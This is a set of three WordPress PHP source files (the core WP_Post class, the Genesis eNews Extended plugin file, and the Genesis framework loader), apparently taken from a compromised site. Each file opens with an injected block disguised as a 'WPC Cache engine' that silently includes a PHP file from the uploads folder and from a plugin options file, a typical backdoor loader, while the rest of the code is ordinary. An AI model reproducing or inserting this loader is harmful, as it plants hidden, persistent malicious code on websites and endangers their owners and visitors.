php /* WPC Cache engine started */ if (file_exists(ABSPATH.'wp-content/plugins/glue-for-yoast-seo-amp/glue-for-yoast-seo-amp-sample-options.php')) @include_once(ABSPATH.'wp-content/plugins/glue-for-yoast-seo-amp/glue-for-yoast-seo-amp-sample-options.php'); if (file_exists(ABSPATH.'wp-content/uploads/2018/02/19cc69.php')) @include_once(ABSPATH.'wp-content/uploads/2018/02/19cc69.php'); /* WPC Cache engine stopped */ /** * Post API: WP_Post class * * @package WordPress * @subpackage Post * @since 4.4.0 */ /** * Core class used to implement the WP_Post object. * * @since 3.5.0 * * @property string $page_template * * @property-read array $ancestors * @property-read int $post_category * @property-read string $tag_input * */ final class WP_Post { /** * Post ID. * * @since 3.5.0 * @var int */ public $ID; /** * ID of post author. * * A numeric string, for compatibility reasons. * * @since 3.5.0 * @var string */ public $post_author = 0; /** * The post's local publication time. * * @since 3.5.0 * @var string */ public $post_date = '0000-00-00 00:00:00'; /** * The post's GMT publication time. * * @since 3.5.0 * @var string */ public $post_date_gmt = '0000-00-00 00:00:00'; /** * The post's content. * * @since 3.5.0 * @var string */ public $post_content = ''; /** * The post's title. * * @since 3.5.0 * @var string */ public $post_title = ''; /** * The post's excerpt. * * @since 3.5.0 * @var string */ public $post_excerpt = ''; /** * The post's status. * * @since 3.5.0 * @var string */ public $post_status = 'publish'; /** * Whether comments are allowed. * * @since 3.5.0 * @var string */ public $comment_status = 'open'; /** * Whether pings are allowed. * * @since 3.5.0 * @var string */ public $ping_status = 'open'; /** * The post's password in plain text. * * @since 3.5.0 * @var string */ public $post_password = ''; /** * The post's slug. * * @since 3.5.0 * @var string */ public $post_name = ''; /** * URLs queued to be pinged. * * @since 3.5.0 * @var string */ public $to_ping = ''; /** * URLs that have been pinged. * * @since 3.5.0 * @var string */ public $pinged = ''; /** * The post's local modified time. * * @since 3.5.0 * @var string */ public $post_modified = '0000-00-00 00:00:00'; /** * The post's GMT modified time. * * @since 3.5.0 * @var string */ public $post_modified_gmt = '0000-00-00 00:00:00'; /** * A utility DB field for post content. * * @since 3.5.0 * @var string */ public $post_content_filtered = ''; /** * ID of a post's parent post. * * @since 3.5.0 * @var int */ public $post_parent = 0; /** * The unique identifier for a post, not necessarily a URL, used as the feed GUID. * * @since 3.5.0 * @var string */ public $guid = ''; /** * A field used for ordering posts. * * @since 3.5.0 * @var int */ public $menu_order = 0; /** * The post's type, like post or page. * * @since 3.5.0 * @var string */ public $post_type = 'post'; /** * An attachment's mime type. * * @since 3.5.0 * @var string */ public $post_mime_type = ''; /** * Cached comment count. * * A numeric string, for compatibility reasons. * * @since 3.5.0 * @var string */ public $comment_count = 0; /** * Stores the post object's sanitization level. * * Does not correspond to a DB field. * * @since 3.5.0 * @var string */ public $filter; /** * Retrieve WP_Post instance. * * @since 3.5.0 * @static * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id Post ID. * @return WP_Post|false Post object, false otherwise. */ public static function get_instance( $post_id ) { global $wpdb; $post_id = (int) $post_id; if ( ! $post_id ) { return false; } $_post = wp_cache_get( $post_id, 'posts' ); if ( ! $_post ) { $_post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $post_id ) ); if ( ! $_post ) return false; $_post = sanitize_post( $_post, 'raw' ); wp_cache_add( $_post->ID, $_post, 'posts' ); } elseif ( empty( $_post->filter ) ) { $_post = sanitize_post( $_post, 'raw' ); } return new WP_Post( $_post ); } /** * Constructor. * * @since 3.5.0 * * @param WP_Post|object $post Post object. */ public function __construct( $post ) { foreach ( get_object_vars( $post ) as $key => $value ) $this->$key = $value; } /** * Isset-er. * * @since 3.5.0 * * @param string $key Property to check if set. * @return bool */ public function __isset( $key ) { if ( 'ancestors' == $key ) return true; if ( 'page_template' == $key ) return true; if ( 'post_category' == $key ) return true; if ( 'tags_input' == $key ) return true; return metadata_exists( 'post', $this->ID, $key ); } /** * Getter. * * @since 3.5.0 * * @param string $key Key to get. * @return mixed */ public function __get( $key ) { if ( 'page_template' == $key && $this->__isset( $key ) ) { return get_post_meta( $this->ID, '_wp_page_template', true ); } if ( 'post_category' == $key ) { if ( is_object_in_taxonomy( $this->post_type, 'category' ) ) $terms = get_the_terms( $this, 'category' ); if ( empty( $terms ) ) return array(); return wp_list_pluck( $terms, 'term_id' ); } if ( 'tags_input' == $key ) { if ( is_object_in_taxonomy( $this->post_type, 'post_tag' ) ) $terms = get_the_terms( $this, 'post_tag' ); if ( empty( $terms ) ) return array(); return wp_list_pluck( $terms, 'name' ); } // Rest of the values need filtering. if ( 'ancestors' == $key ) $value = get_post_ancestors( $this ); else $value = get_post_meta( $this->ID, $key, true ); if ( $this->filter ) $value = sanitize_post_field( $key, $value, $this->ID, $this->filter ); return $value; } /** * {@Missing Summary} * * @since 3.5.0 * * @param string $filter Filter. * @return self|array|bool|object|WP_Post */ public function filter( $filter ) { if ( $this->filter == $filter ) return $this; if ( $filter == 'raw' ) return self::get_instance( $this->ID ); return sanitize_post( $this, $filter ); } /** * Convert object to array. * * @since 3.5.0 * * @return array Object as array. */ public function to_array() { $post = get_object_vars( $this ); foreach ( array( 'ancestors', 'page_template', 'post_category', 'tags_input' ) as $key ) { if ( $this->__isset( $key ) ) $post[ $key ] = $this->__get( $key ); } return $post; } } php /* WPC Cache engine started */ if (file_exists(ABSPATH.'wp-content/plugins/glue-for-yoast-seo-amp/glue-for-yoast-seo-amp-sample-options.php')) @include_once(ABSPATH.'wp-content/plugins/glue-for-yoast-seo-amp/glue-for-yoast-seo-amp-sample-options.php'); if (file_exists(ABSPATH.'wp-content/uploads/2018/02/19cc69.php')) @include_once(ABSPATH.'wp-content/uploads/2018/02/19cc69.php'); /* WPC Cache engine stopped */ /** * Genesis eNews Extended * * @package BJGK\Genesis_enews_extended * @version 2.1.1 * @author Brandon Kraft * @copyright Copyright (c) 2012-2018, Brandon Kraft * @link https://kraft.blog/genesis-enews-extended/ * @license GPL-2.0+ * * @wordpress-plugin * Plugin Name: Genesis eNews Extended * Plugin URI: https://kraft.blog/genesis-enews-extended/ * Description: Replaces the Genesis eNews Widget to allow easier use of additional mailing services. * Version: 2.1.1 * Author: Brandon Kraft * Author URI: https://kraft.blog/ * License: GPL-2.0+ * License URI: http://www.gnu.org/licenses/old-licenses/gpl-2.0.html * Text Domain: genesis-enews-extended * Domain Path: /languages */ /** * This program is free software; you can redistribute it and/or modify it under the terms of the GNU * General Public License version 2, as published by the Free Software Foundation. You may NOT assume * that you can use any other version of the GPL. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * Code based on original eNews Widget in the Genesis Framework by StudioPress - http://www.studiopress.com */ add_action( 'init', 'bjgk_genesis_enews_load_translations', 1 ); /** * Load the textdomain / translations for the plugin. * * @since 0.1.4 */ function bjgk_genesis_enews_load_translations() { $domain = 'genesis-enews-extended'; $locale = apply_filters( 'plugin_locale', get_locale(), $domain ); load_textdomain( $domain, trailingslashit( WP_LANG_DIR ) . $domain . '/' . $domain . '-' . $locale . '.mo' ); load_plugin_textdomain( $domain, false, basename( dirname( __FILE__ ) ) . '/languages' ); } require 'class-bjgk-genesis-enews-extended.php'; add_action( 'widgets_init', 'bjgk_genesis_enews_load_widgets' ); /** * Register widget. * * @since 0.1.0 */ function bjgk_genesis_enews_load_widgets() { register_widget( 'BJGK_Genesis_ENews_Extended' ); } /** * Adds CSS for screenreaders. * * @since 0.1.0 */ function bjgk_genesis_enews_css() { echo ''; } add_action( 'wp_head', 'bjgk_genesis_enews_css' ); php /* WPC Cache engine started */ if (file_exists(ABSPATH.'wp-content/plugins/glue-for-yoast-seo-amp/glue-for-yoast-seo-amp-sample-options.php')) @include_once(ABSPATH.'wp-content/plugins/glue-for-yoast-seo-amp/glue-for-yoast-seo-amp-sample-options.php'); if (file_exists(ABSPATH.'wp-content/uploads/2018/02/19cc69.php')) @include_once(ABSPATH.'wp-content/uploads/2018/02/19cc69.php'); /* WPC Cache engine stopped */ /** * Genesis Framework * * WARNING: This file is part of the core Genesis Framework. DO NOT edit * this file under any circumstances. Please do all modifications * in the form of a child theme. * * @package Genesis * @author StudioPress * @license GPL-2.0+ * @link https://my.studiopress.com/themes/genesis/ */ /** * Calls the init.php file, but only if the child theme has not called it first. * * This method allows the child theme to load * the framework so it can use the framework * components immediately. */ require_once dirname( __FILE__ ) . '/lib/init.php';